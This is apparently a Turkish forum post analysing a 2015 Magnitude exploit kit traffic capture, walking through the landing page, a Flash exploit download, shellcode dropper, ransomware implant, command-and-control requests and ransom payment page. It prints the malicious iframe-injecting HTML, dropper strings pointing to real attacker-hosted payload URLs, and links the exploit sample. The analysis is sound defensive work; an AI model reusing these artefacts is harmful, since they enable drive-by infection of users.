Malware Analizi #1 | Magnitude EK – Trafik Analizi (08.05.2015)

Dolyetyus

Özel Üye
21 Nis 2020
1,207
676
Delft
Magnitude EK – Trafik Analizi (08.05.2015)

Merhaba, Hoş geldiniz. Son zamanlarda kötü amaçlı yazılım analizinde ustalaşıyorum. Özellikle, ilgi alanım istemci sömürü kitlerine odaklandı. Bu tür yaygın kitler şunları içeriyor: Angler, Nuclear, Magnitude, Neutrino, RIG... Bunlara karşı oluşan yeni ilgimin birkaç nedeni var. Öncelikle, bir saldırı simülatörü olarak, oyuncunun operasyonel metodolojisini incelemek çok ilginç geliyor. İkincisi, cephenin zıt taraflarında olsa da, bu kitlerden bazılarını geliştiren gerçekten yetenekli insanlar var. Microsoft'un Güvenlik İstihbarat Raporu'na göre 2014 yılında, CVE'nin yeni cephaneliğine sömürüler olarak dahil edilmek, sömürü kitlerinin 10-14 gününü aldı. Bu, herhangi bir halka açık sürümden 1 gün önce CVE'yi çıkarabilecek bir konumda olabileceğiniz için EK trafiğini incelemeye değmez.

Bugün, malware_traffic'den elde edilen bazı Magnitude trafiklerini inceleyeceğiz. "Olay tepkisi" türü analizi söz konusu olduğunda hala oldukça deneyimsiz olduğumu unutmayın. Herhangi bir ipucu veya öneriniz varsa, lütfen aşağıya yorum olarak yazın. Aşağıda bu genel inceleme için kullanılan bazı araçların bir listesi vardır.


Araçlar:
Wireshark - buradan
CapTipper - buradan
JSDetox - buradan
Snorby - buradan
Emerging Threats Rules - buradan


PCAP:
2015-05-08-traffic-analysis-exercise.pcap - buradan



Trafik Akışı

Wireshark trafiğine bakmak bazen biraz zor olabilir, ancak daha belli bir arama için pcap'ten HTTP nesnelerinin bir listesini kolayca dışa aktarabiliriz.

Magnitude_big1.png



Ancak, HTTP trafiğini analiz ederken mükemmel bir yardımcı olarak CapTipper'ı buldum. Tarayıcı isteklerini, sunucu başlıklarını, yanıt gövdelerini kaydediyor; payloadlar üzerinde bazı temel analizler yapabiliyor ve trafik akışından dosyaları/web kaynaklarını çıkarabiliyor.



Akış İsteği:


Magnitude_big2.png



Bu bize saldırgan ile kullanıcı arasında meydana gelen olaylar dizisine gerçekten iyi bir genel bakış sağlıyor. Bizim için faydalı olacak bir diğer şey ise, kullanıcı ile iletişim kuran ana bilgisayarları listelemek.



Hostlar:


Magnitude_big3.png



İstemci Taraflı Enfeksiyon

Paket yakalama, temel olarak bulaşma öncesi trafiği ve sonrası trafiği olmak üzere iki kısma ayrılır. Tüm web oturumuna erişimimiz olmadığından, çıkaramayacağımız bazı ayrıntılar olacaktır, ancak nelerin mevcut olduğunu anlamak için elimizden gelenin en iyisini yapacağız!


Açılış sayfası:

İlk web isteği (bu yazı boyunca CapTipper'a atıfta bulunacağız), sömürü kitinin ilk açılış sayfası gibi görünüyor.


Kod:
 [COLOR="Plum"]CT> info 0
Info of conversation 0: 

 SERVER IP   : 62.75.195.236:80
 TIME        : Thu, 05/07/15 20:51:37
 HOST        : va872g.g90e1h.b8.642b63u.j985a2.v33e.37.pa269cc.e8mfzdgrf7g0.groupprograms.in
 URI         : /?285a4d4e4e5a4d4d4649584c5d43064b4745
 REFERER     : 
 METHOD      : GET
 RESULT NUM  : 200 OK
 RESULT TYPE : text/html
 FILE NAME   : 0.html
 MAGIC       : HyperText Markup Language (HTML)
 LENGTH      : 560 B
 
CT> head 0
Displaying header of object 0 (0.html):

HTTP/1.1 200 OK
Date: Thu, 07 May 2015 20:51:34 GMT
Server: Apache/2.2.15 (CentOS) DAV/2 mod_fastcgi/2.4.6
X-Powered-By: PHP/5.3.3
Content-Length: 560
Connection: close

Content-Type: text/html[/COLOR]


Bana öyle geliyor ki ana bilgisayarın adı biraz farklı. Muhtemelen olan şey, kurbanın bir web sitesine göz atması ve bu alanla bağlantı kuran kötü amaçlı bir eklentiye tıklamasıdır. Kullanıcı tarafından yapılan istek aşağıda görülebilir (ayrıntılı bir taklit türleri kümesi hehehe).

Kod:
 [COLOR="plum"]CT> req 0
Displaying request for object 0 (0.html) [583 bytes]:

GET /?285a4d4e4e5a4d4d4649584c5d43064b4745 HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg,
        application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint,
        application/msword, */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR
            2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Accept-Encoding: gzip, deflate
Host: va872g.g90e1h.b8.642b63u.j985a2.v33e.37.pa269cc.e8mfzdgrf7g0.groupprograms.in
Connection: Keep-Alive[/COLOR]


[0] isteğine sunucunun yanıt gövdesi aşağıda görülebilir.

Kod:
 [COLOR="plum"]<html><body><object type="application/x-shockwave-flash" allowScriptAccess="always" width="434" height="449">
<param name="movie" value="http://ubb67.3c147o.u806a4.w07d919.o5f.f1.b80w.r0faf9.e8mfzdgrf7g0.groupprograms.in/">
<param name="play" value="true"></object><script>var fhxa45 = ********.createElement('if'+'rame');
fhxa45.setAttribute('src', 'http://r03afd2.c3008e.xc07r.b0f.a39.h7f0fa5eu.vb8fbl.e8mfzdgrf7g0.groupprograms.in/');
fhxa45.setAttribute('width', 434);fhxa45.setAttribute('height', 449);********.body.appendChild(fhxa45);</script>
</body></html> [/COLOR]


Daha okunaklı hale getirmek için HTML'yi biraz temizleyebiliriz.



Kod:
[COLOR="plum"] <html>
  <body>
    <object type="application/x-shockwave-flash" allowScriptAccess="always" width="434" height="449">
      <param name="movie" value="http://ubb67.3c147o.u806a4.w07d919.o5f.f1.b80w.r0faf9.e8mfzdgrf7g0.groupprograms.in/">
      <param name="play" value="true">
    </object>
    <script>
      var fhxa45 = ********.createElement('if'+'rame');
      fhxa45.setAttribute('src', 'http://r03afd2.c3008e.xc07r.b0f.a39.h7f0fa5eu.vb8fbl.e8mfzdgrf7g0.groupprograms.in/');
      fhxa45.setAttribute('width', 434);
      fhxa45.setAttribute('height', 449);
      ********.body.appendChild(fhxa45);
    </script>
  </body>
</html> [/COLOR]


Buradaki garip olan şey, HTML sayfası tarafından iki ayrı kaynağın yükleniyor olmasıdır. Shockwave nesnesi, nihayetinde kullanıcının tarayıcısını tehlikeye atacak olan flash CVE'yi işaret ediyor. Iframe'in neye işaret ettiği tam olarak belli değil. Belki de, aynı genişliğe ve yüksekliğe sahip olduklarından, iframe'in flash nesnesini kaplaması/gizlemesi amaçlanmıştır.



Flash Exploit (CVE-2015-0311... Belki):

İkinci web isteği aslında flash CVE'yi kullanıcıya sunuyor. Bu istek, yukarıdaki HTML'de bulunan flash nesnesi tarafından tetiklenir.

Kod:
 [COLOR="plum"]CT> req 1
Displaying request for object 1 (1.html) [518 bytes]:

GET / HTTP/1.1
Accept: */*
Accept-Language: en-US
Referer: http://va872g.g90e1h.b8.642b63u.j985a2.v33e.37.pa269cc.e8mfzdgrf7g0.groupprograms.in/?285a4d4e4e
         5a4d4d4649584c5d43064b4745
x-flash-version: 11,8,800,94 # Outdated flash version.
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR
            2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Host: ubb67.3c147o.u806a4.w07d919.o5f.f1.b80w.r0faf9.e8mfzdgrf7g0.groupprograms.in
Connection: Keep-Alive

CT> head 1
Displaying header of object 1 (1.html):

HTTP/1.1 200 OK
Date: Thu, 07 May 2015 20:51:34 GMT
Server: Apache/2.2.15 (CentOS) DAV/2 mod_fastcgi/2.4.6
X-Powered-By: PHP/5.3.3
Content-Length: 8973
Connection: close
Content-Type: application/x-shockwave-flash

CT> hexdump 1 48
Displaying hexdump of object 1 (1.html) body [48 bytes]:

0000   43 57 53 0B D3 25 00 00 78 DA 85 99 77 58 13 4D    CWS..%..x...wX.M # SWF magic bytes.
0010   F7 F7 13 12 08 84 0E D2 5B E8 52 43 EF BD F7 DE    ........[.RC....
0020   11 A9 A1 93 50 42 13 94 DE 41 29 0A 4A 91 22 BD    ....PB...A).J.".[/COLOR]


Bu noktada, daha fazla analiz için flash dosyasını kolayca çıkarabiliriz. Ek olarak, dosya karmasını çevrimiçi olarak arayabiliriz ve bulamazsak, dosyayı VirusTotal/Malwr'a taratmak için gönderebiliriz.

Kod:
 [COLOR="plum"]CT> hashes 1
Hashes of object 1 (1.html):

 md5       :   e442dc5640e7490879034750d54ce51b
 sha1      :   b473a7b89a432287db030a2cd614fd5463dd5e60
 sha224    :   8258a05aefcb16ec8b21c8a02063cd368f55327930eb9114572c1dc1
 sha256    :   81523163b298f2543d5f56a4c44ef8b07c6c9b3844b629b04fb870ca356c1437
 sha384    :   88ce017cc49619a7b57322898d8d8728f84f95c2d0345c38494bc3e0a35ccd4925602c00df8cd1d23a47318881a
               2969c
 sha512    :   37858a9cd3e9b7d3f9d4b313e4e4f6a8dcadd763c78762547658fa360827e36a84d4732c505aed2b72a38bf342f
               3afdad83824f2aa0b68f65c260c4b20f8233b

CT> dump 1 /root/Desktop/Magnitude/e442dc5640e7490879034750d54ce51b_CVE-2015-0311_compressed.swf
Object 1 written to /root/Desktop/Magnitude/e442dc5640e7490879034750d54ce51b_CVE-2015-0311_compressed.swf[/COLOR]


Burada gerçek CVE numarası hakkında mantıklı bir tahminde bulunuyorum. Bunu birkaç nedenden dolayı yapıyorum:
(1) Tarayıcı tarafından bildirilen flash sürümü CVE-2015-0311'e karşı savunmasız, (2) bu CVE Ocak 2015'te sömürü kitlerine tanıtıldı, (3) O sırada pcap'in yerini alan bilinen flash sömürüleri yoktu ve (4) En az güvenilir olan ESET bile bunu CVE-2015-0311 olarak tanımlıyor.

Malwr - e442dc5640e7490879034750d54ce51b
Virus Total - e442dc5640e7490879034750d54ce51b

Sömürünün ActionScript kaynak koduna bakmak isteyenler için koda ulaşmak kolaydır.


Kod:
 [COLOR="plum"]root@Yoshikawa:~/ToolKit/Flasm# ./flasm -x /root/Desktop/Magnitude/e442dc5640e7490879034750d54ce51b_CVE-201
5-0311_compressed.swf
/root/Desktop/Magnitude/e442dc5640e7490879034750d54ce51b_CVE-2015-0311_compressed.swf successfully decompr
essed, 9683 bytes

root@Yoshikawa:~/ToolKit/Flasm# md5sum /root/Desktop/Magnitude/e442dc5640e7490879034750d54ce51b_CVE-2015-03
11_compressed.swf
61ffda5f5926868a257a792d6bb4a42c  /root/Desktop/Magnitude/e442dc5640e7490879034750d54ce51b_CVE-2015-0311_c
ompressed.swf

root@Yoshikawa:~/ToolKit/Flasm# mv /root/Desktop/Magnitude/e442dc5640e7490879034750d54ce51b_CVE-2015-0311_c
ompressed.swf /root/Desktop/Magnitude/61ffda5f5926868a257a792d6bb4a42c_CVE-2015-0311_decompressed.swf[/COLOR]


Flash dosyası bir kez açıldığında bir dizi derleyiciyle (JPEXS veya RABCDAsm gibi) derlenmiş olabilir. Size kolaylık sağlamak için, sıkıştırılmış swf ile bir arşiv ve JPEXS'den derlenmiş verileri içeren bir klasör ekledim. Arşiv şifresi "infected".

CVE-2015-0311.rar - buradan




Uzlaşma Sonrası

Bu noktada kullanıcı temelde pwnd'dir (!). Henüz bilmiyor ama onu bekleyen kötü bir sürpriz var… İletişim akışında gezinmeye devam edersek kullanıcının bir dizi istekte bulunduğunu görebiliriz. Aşağıdaki IP, 62.75.195.236. Bu da muhtemelen flaş sömürüsünün devralması.

Kod:
 [COLOR="plum"]# This host is serving the post-compromise implants used by this particular instance of Magnitude EK.

62.75.195.236 (62.75.195.236:80)
 ├-- [2]  /aa25f5fe2875e3d0a244e6969e589cc4   -> text/html [861.0 B]  (Magic: BINARY) [Stage 1 - Dropper]
 ├-- [3]  /?b514ee6f0fe486009a6d83b035a4c0bd  -> text/html [216.0 KB] (Magic: EXE)    [Stage 2 - Implant]
 ├-- [4]  /?b2566564b3ba1a38e61c83957a7dbcd5  -> text/html [0.0 B]
 ├-- [5]  /?3a08b0be8322c244f5a1cb9c1057d941  -> text/html [0.0 B]
 ├-- [6]  /?d71e0bd86db9587158745a986a4b3606  -> text/html [0.0 B]
 ├-- [7]  /?34eaf8bd50d85d8c6baacb45f0a7b22e  -> text/html [0.0 B] 
 ├-- [8]  /?60dbe33b908e0086292196ef001816bc  -> text/html [0.0 B]
 └-- [11] /?51424ddd486ff06861fceed24e86b329  -> text/html [0.0 B][/COLOR]



Dropper:

Yakından bakarsak, ilk istek için URL formatının, takip eden diğer yedi taneden farklı olduğunu görebiliriz ("?" İle başlamıyor). Aslında kendi özel amacı olduğunu göreceğiz.

Kod:
 [COLOR="plum"]# None of the default browsers headers are present (like "User-Agent") supporting the theory that the
flash exploit is making the web request not the user.

CT> req 2
Displaying request for object 2 (aa25f5fe2875e3d0a244e6969e589cc4) [66 bytes]:

GET /aa25f5fe2875e3d0a244e6969e589cc4 HTTP/1.1
Host: 62.75.195.236

# Supposedly the mime type here is HTML, but clearly it is not.

CT> head 2
Displaying header of object 2 (aa25f5fe2875e3d0a244e6969e589cc4):

HTTP/1.1 200 OK
Date: Thu, 07 May 2015 20:51:36 GMT
Server: Apache/2.2.15 (CentOS) DAV/2 mod_fastcgi/2.4.6
X-Powered-By: PHP/5.3.3
Content-Length: 861
Connection: close
Content-Type: text/html

# Looking at the first few bytes of the response body, we can't actually identify of what type the
response is.

CT> hexdump 2 48
Displaying hexdump of object 2 (aa25f5fe2875e3d0a244e6969e589cc4) body [48 bytes]:

0000   E8 00 00 00 00 5B 8D B3 B9 01 00 00 56 8D B3 A5    .....[......V...
0010   01 00 00 56 6A 04 68 88 4E 0D 00 E8 9D 00 00 00    ...Vj.h.N.......
0020   8D 83 CD 01 00 00 50 FF 93 B9 01 00 00 8D B3 C9    ......P.........[/COLOR]


Peki, bu gizemli yanıt içeriği nedir? Cevap oldukça kolay bir şekilde kendini gösteriyor, çıkarılan dosyadaki dizeleri çalıştırdığımızda ne olacağını görelim.

Kod:
 [COLOR="plum"]# First we extract the response body.

CT> dump 2 /root/Desktop/Magnitude/Resp_Body_2.bin
Object 2 written to /root/Desktop/Magnitude/Resp_Body_2.bin

root@Yoshikawa:~# strings /root/Desktop/Magnitude/Resp_Body_2.bin
XxXP
Y_^[
QSR1
@Z[Y
urlmon.dll
http://62.75.195.236/?b514ee6f0fe486009a6d83b035a4c0bd|http://62.75.195.236/?b2566564b3ba1a38e61c83957a7db
cd5|http://62.75.195.236/?3a08b0be8322c244f5a1cb9c1057d941|http://62.75.195.236/?d71e0bd86db9587158745a986
a4b3606|http://62.75.195.236/?34eaf8bd50d85d8c6baacb45f0a7b22e|http://62.75.195.236/?60dbe33b908e008629219
6ef001816bc|http://62.75.195.236/?51424ddd486ff06861fceed24e86b329[/COLOR]


Bana sorarsanız oldukça komik, çünkü bu yedi URL'nin tam olarak kullanıcının paket yakalamasında yapacağı sonraki istekler olduğunu görebiliyoruz. "Urlmon.dll" (URL Moniker) dizesi de oldukça açıklayıcı, dosyaları indirmek için kullanılan API çağrılarından soyutlamayı kolaylaştırmak ve sağlamak için kullanılan yasal bir DLL'dir. Şimdi burada neler olup bittiği az çok belli. Flash kötüye kullanıldıktan sonra bu binary blob'u indirir ve gerçek bulaşma sürecini başlatmak için kabuk kodu olarak yorumlar. Bunun neden gerekli olduğu tam olarak açık değildir, belki daha fazla modülerlik, sömürü kitinin hızlı bir şekilde veya farklı payloadlara sahip birden çok örneğe dağıtılmasını kolaylaştırır.



Implant:

Beklendiği gibi kabuk kodu, kullanıcının ana bilgisayarını sırayla yedi URL'nin her birine göz atması ve orada barındırılabilecek her şeyi alması için tetikler.

Kod:
 [COLOR="plum"]62.75.195.236 (62.75.195.236:80)
 ├-- [3]  /?b514ee6f0fe486009a6d83b035a4c0bd  -> text/html [216.0 KB] (Magic: EXE)    [Stage 2 - Implant]
 ├-- [4]  /?b2566564b3ba1a38e61c83957a7dbcd5  -> text/html [0.0 B]
 ├-- [5]  /?3a08b0be8322c244f5a1cb9c1057d941  -> text/html [0.0 B]
 ├-- [6]  /?d71e0bd86db9587158745a986a4b3606  -> text/html [0.0 B]
 ├-- [7]  /?34eaf8bd50d85d8c6baacb45f0a7b22e  -> text/html [0.0 B] 
 ├-- [8]  /?60dbe33b908e0086292196ef001816bc  -> text/html [0.0 B]
 └-- [11] /?51424ddd486ff06861fceed24e86b329  -> text/html [0.0 B][/COLOR]


Yine burada tuhaf bir şeyler oluyor, ancak indirilebilen yedi "potansiyel" implant olmasına rağmen sadece bir tanesi geri alınabiliyor. Diğer yanıtların tümü "200 OK" cevabı döndürüyor ancak boş yanıt gövdeleri içeriyor. Bu URL'ler, aynı sunucuda barındırıldıklarından dolayı artıklık için kullanılmaz. Aklıma gelen iki olası açıklama var; ya sunucu yalnızca bir yükü barındıracak şekilde ayarlandı ya da sunucu ilk başarılı indirmeden sonra herhangi bir isteği bırakacak şekilde yapılandırıldı.
Hadi [3] talebine daha yakından bakalım.


Kod:
 [COLOR="plum"]# There is a common theme here, data being transmitted with a false HTML mime type.

CT> head 3
Displaying header of object 3 (3.html):

HTTP/1.1 200 OK
Date: Thu, 07 May 2015 20:51:36 GMT
Server: Apache/2.2.15 (CentOS) DAV/2 mod_fastcgi/2.4.6
X-Powered-By: PHP/5.3.3
Content-Length: 221184
Connection: close
Content-Type: text/html

CT> hexdump 3 116
Displaying hexdump of object 3 (3.html) body [116 bytes]:

0000   4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00    MZ.............. # PE DOS header.
0010   B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00    .......         [USER=178954].......[/USER]
0020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0030   00 00 00 00 00 00 00 00 00 00 00 00 F8 00 00 00    ................
0040   0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68    ........!..L.!Th
0050   69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F    is program canno
0060   74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20    t be run in DOS 
0070   6D 6F 64 65                                        mode

CT> hashes 3
Hashes of object 3 (3.html):

 md5       :   6cb75dd478d56910e1581afe2b87c6f7
 sha1      :   f44bda9a9c6b3554e920d9b49c3c9e37550c78ac
 sha224    :   f21acb61885c06c8f7651ee96ad2110e7cdd5499d950274c4cd2b2f6
 sha256    :   532f1d6b8faf6e54e3f6f9279e9720bf9f27257d2b75ce72e86ed3ca6578fafb
 sha384    :   f27fac728edb2098b5ba9995eec992e19fd15f2d925da32252b42e869e1d4fc6348d0a6dfc2857bb2966fa455dc
               15af4
 sha512    :   ba8c0d11e71ab55d2d3a5ce50e815cdcbd4124e6af01b8378943417216e8658f9cc563483407b2ce5e9097a37b1
               75b02e9cc99995cfc551f3c0860faa72c84cb[/COLOR]


Dosya karmalarını ararsak, bazı rahatsız edici sonuçlar buluruz:

Malwr - 6cb75dd478d56910e1581afe2b87c6f7
Virus Total - 6cb75dd478d56910e1581afe2b87c6f7

Bu dosyanın ne yaptığını bilmesek de, antivirüslerin büyük çoğunluğunun dosyanın kötü amaçlı olduğu konusunda hemfikir olduğunu görebiliriz!




Bana Parayı Göster!

Çoğu sömürü kitlerinde olduğu gibi, nihai amaç kurbandan para çıkarmaktır. Bu, tuş vuruşlarını izlemek için API kancalama, bankacılık web sitelerine bağlantıları kesmek için bir tür DNS kaçırma veya bazı fidye yazılımı varyantları kullanarak olabilir. PCap'ın son kısmının analizi, saldırganların oyununun sonunu ortaya çıkaracaktır.


Neredeyim Ben:

Bu noktada gerçek implant, web trafiği oluşturmaya başlar. [9] talebine daha yakından bakalım.

Kod:
 [COLOR="plum"]CT> info 9
Info of conversation 9: 

 SERVER IP   : 188.165.164.184:80
 TIME        : Thu, 05/07/15 20:51:42
 HOST        : ip-addr.es
 URI         : /(2)
 REFERER     : 
 METHOD      : GET
 RESULT NUM  : 200 OK
 RESULT TYPE : text/plain
 FILE NAME   : (2)
 MAGIC       : Inconclusive. Probably text (TEXT)
 LENGTH      : 14 B

CT> req 9
Displaying request for object 9 ((2)) [226 bytes]:

GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.507
            27; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Host: ip-addr.es
Cache-Control: no-cache

CT> body 9
Displaying body of object 9 ((2)) [14 bytes]:


[redacted] # Redacted by         [USER=339116]malware[/USER]_traffic.[/COLOR]


Tuhaf bir istek gibi görünüyor, ancak söz konusu hostu incelersek amacın ne olduğu netleşiyor.

Kod:
 [COLOR="plum"]root@Yoshikawa:~# curl -v ip-addr.es
* Rebuilt URL to: ip-addr.es/
* Hostname was NOT found in DNS cache
*   Trying 188.165.164.184...
* Connected to ip-addr.es (188.165.164.184) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.35.0
> Host: ip-addr.es
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Sat, 13 Jun 2015 13:03:07 GMT
< Content-Type: text/plain;charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Vary: Accept-Encoding
< Last-Modified: Sat, 13 Jun 2015 13:03:07 GMT
< Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< Pragma: no-cache
< X-XSS-Protection: 1
* Server DYNAMIC+ is not blacklisted
< Server: DYNAMIC+

***.***.86.154 # Partially redacted by me.[/COLOR]


Bunu kendiniz denemekten çekinmeyin. Sunucu, yanıt gövdesinde genel IP'nizi geri verecektir. İmplantın, tehlike altındaki host hakkında bilgi toplamaya çalıştığı varsayılmaktadır.



Ev Telefonu:

Bir sonraki aşamada, kullanıcının iki ayrı ana bilgisayarla iletişim kurduğunu görebiliriz.

Kod:
 [COLOR="plum"]# Notice the identical calls to both domains!

 runlove.us (204.152.254.221:80)
 ├-- /wp-content/themes/twentyfifteen/img5.php?t=cdcnw7cfz43rmtg [10]   \
 ├-- /wp-content/themes/twentyfifteen/img5.php?l=8r1gf1b2t1kuq42 [13]   | -> HTTP/1.1 404 Not Found
 ├-- /wp-content/themes/twentyfifteen/img5.php?u=mfymi71rapdzk   [15]   |
 └-- /wp-content/themes/twentyfifteen/img5.php?f=ka6nnuvccqlw9   [17]   /


 comarksecurity.com (72.34.49.86:80)
 ├-- /wp-content/themes/grizzly/img5.php?c=cdcnw7cfz43rmtg [12]   \
 ├-- /wp-content/themes/grizzly/img5.php?t=8r1gf1b2t1kuq42 [14]   | -> HTTP/1.1 200 OK
 ├-- /wp-content/themes/grizzly/img5.php?u=mfymi71rapdzk   [16]   |
 └-- /wp-content/themes/grizzly/img5.php?u=ka6nnuvccqlw9   [18]   /[/COLOR]


Bu durumda tüm "runlove" çağrıları 404'lE ile sonuçlanır. İmplantın fazlalık için iki alanla yapılandırıldığını varsayıyorum ki bu, bu durumda iyi bir çağrıdır.
4 istekten 3'ü için yanıt gövdesi şifrelenmiş veri içerir. Verilerin nasıl gizlendiği belli değil (AES olabilir) ve şifresini çözemedim. Dikkat edilmesi gereken bir diğer nokta, verilerin saldırganın sunucusundan kurbana iletilmesidir, bu nedenle hiçbir bilgi dışarı sızmaz. Büyük ihtimalle implant, saldırganın sunucusundan yapılandırma ayarlarını alıyor olabilir.


Kod:
 [COLOR="plum"]CT> req 12
Displaying request for object 12 (img5.php) [385 bytes]:

POST /wp-content/themes/grizzly/img5.php?c=cdcnw7cfz43rmtg HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
Content-Length: 134
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.507
            27; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Host: comarksecurity.com
Cache-Control: no-cache

CT> body 12
Displaying body of object 12 (img5.php) [14 bytes]:

ef6236ae8751b8

CT> req 14
Displaying request for object 14 (img5.php) [384 bytes]:

POST /wp-content/themes/grizzly/img5.php?t=8r1gf1b2t1kuq42 HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
Content-Length: 96
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.507
            27; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Host: comarksecurity.com
Cache-Control: no-cache

CT> body 14
Displaying body of object 14 (img5.php) [256 bytes]:

b8a679f4d471dffc634846182942756db8e6c9b7d0902345958ae475c4c038b027772743f90399fb9b26f4581ea54fd320aaa2c815
ca5d7413c59b8ec6d0560c32e51b000854a1f5848edd81e3882aa762986278325fda33ad8f4db542a7254fbde1e4db06e242890c53
e475842ebb888f088b423dc7eaacdab585bf2adb0a1a

CT> req 18
Displaying request for object 18 (img5.php) [383 bytes]:

POST /wp-content/themes/grizzly/img5.php?u=ka6nnuvccqlw9 HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
Content-Length: 110
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.507
            27; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Host: comarksecurity.com

Cache-Control: no-cache

CT> body 18
Displaying body of object 18 (img5.php) [14 bytes]:

25441160346ecb[/COLOR]


Bu veriler bize pek bir şey anlatmıyor ancak bunlar 4 talepten sadece 3'ü. Geriye kalan tek istek [16], oldukça ilginç bir şey döndürür ve hemen hemen tüm olayı bize anlatır.

Kod:
[COLOR="plum"] CT> req 16
Displaying request for object 16 (img5.php) [383 bytes]:

POST /wp-content/themes/grizzly/img5.php?u=mfymi71rapdzk HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
Connection: Close
Content-Length: 162
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.507
            27; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Host: comarksecurity.com
Cache-Control: no-cache

CT> hexdump 16 48
Displaying hexdump of object 16 (img5.php) body [48 bytes]:

0000   89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52    .PNG........IHDR # PNG magic bytes.
0010   00 00 03 AF 00 00 02 CA 08 02 00 00 00 52 B4 F0    .............R..
0020   E3 00 00 20 00 49 44 41 54 78 9C EC BD 3D 8F E3    ... .IDATx...=..[/COLOR]


Hadi resme bir göz atın:

Kod:
 [COLOR="plum"]CT> dump 16 /root/Desktop/Magnitude/16.png
Object 16 written to /root/Desktop/Magnitude/16.png[/COLOR]

Magnitude_big4.png



Of, acı verici. Görünüşe göre kullanıcının tüm dosyaları şifrelenmiş. Bir yan not olarak, bunun çalışma şekline inandığım için; tüm dosyaların ilk X baytlarının şifrelenmesi, eğer dosya başlıkları karıştırılırsa, neredeyse tüm dosyayı şifrelemek kadar iyidir ve zaman/işlem gücünden tasarruf sağlar.



Kullanıcı Araştırmaları:

Son olarak, paket yakalamadan, kurbanın TOR domain’i için genel uç noktaya göz attığını görebiliriz.

Kod:
 [COLOR="plum"]# Public endpoint as as specified in the image above.

 7oqnsnzwwnm6zb7y.gigapaysun.com (95.163.121.204:80)
 ├-- /11iQmfg   [19]
 ├-- /img/style.css   [20]
 ├-- /img/flags/it.png   [21]
 ├-- /picture.php?k=11iqmfg&b7f2a994c3eaaf014608b272c46cf764   [22]
 ├-- /img/lt.png   [23]
 ├-- /img/flags/es.png   [24]
 ├-- /img/flags/us.png   [25]
 ├-- /img/flags/fr.png   [26]
 ├-- /img/lb.png   [27]
 ├-- /img/rt.png   [28]
 ├-- /favicon.ico   [29]
 ├-- /img/rb.png   [30]
 ├-- /img/flags/de.png   [31]
 ├-- /img/bitcoin.png   [32]
 └-- /img/button_pay.png   [33][/COLOR]


Bakalım kullanıcının trafik yakalamasından ziyaret ettiği sayfayı yeniden oluşturabilecek miyiz?

Kod:
 [COLOR="plum"]CT> req 19
Displaying request for object 19 (11iQmfg) [319 bytes]:

GET /11iQmfg HTTP/1.1
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.507
            27; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Accept-Encoding: gzip, deflate
Host: 7oqnsnzwwnm6zb7y.gigapaysun.com
Connection: Keep-Alive

# Notice the gzip encoding.
CT> head 19
Displaying header of object 19 (11iQmfg):

HTTP/1.1 200 OK
Server: nginx/1.2.1
Date: Thu, 07 May 2015 20:48:17 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.39-0+deb7u2
Set-Cookie: PHPSESSID=uqq1670l1pkd07vgdnsg98dee5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip

CT> ungzip 19
GZIP Decompression of object 19 (11iQmfg) successful!
New object created: 35

CT> body 35 5000
Displaying body of object 35 (ungzip-11iQmfg) [3289 bytes]:

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
  <title>Decrypt service
  <**** http-equiv="Content-Type" content="text/html; charset=utf-8"/>
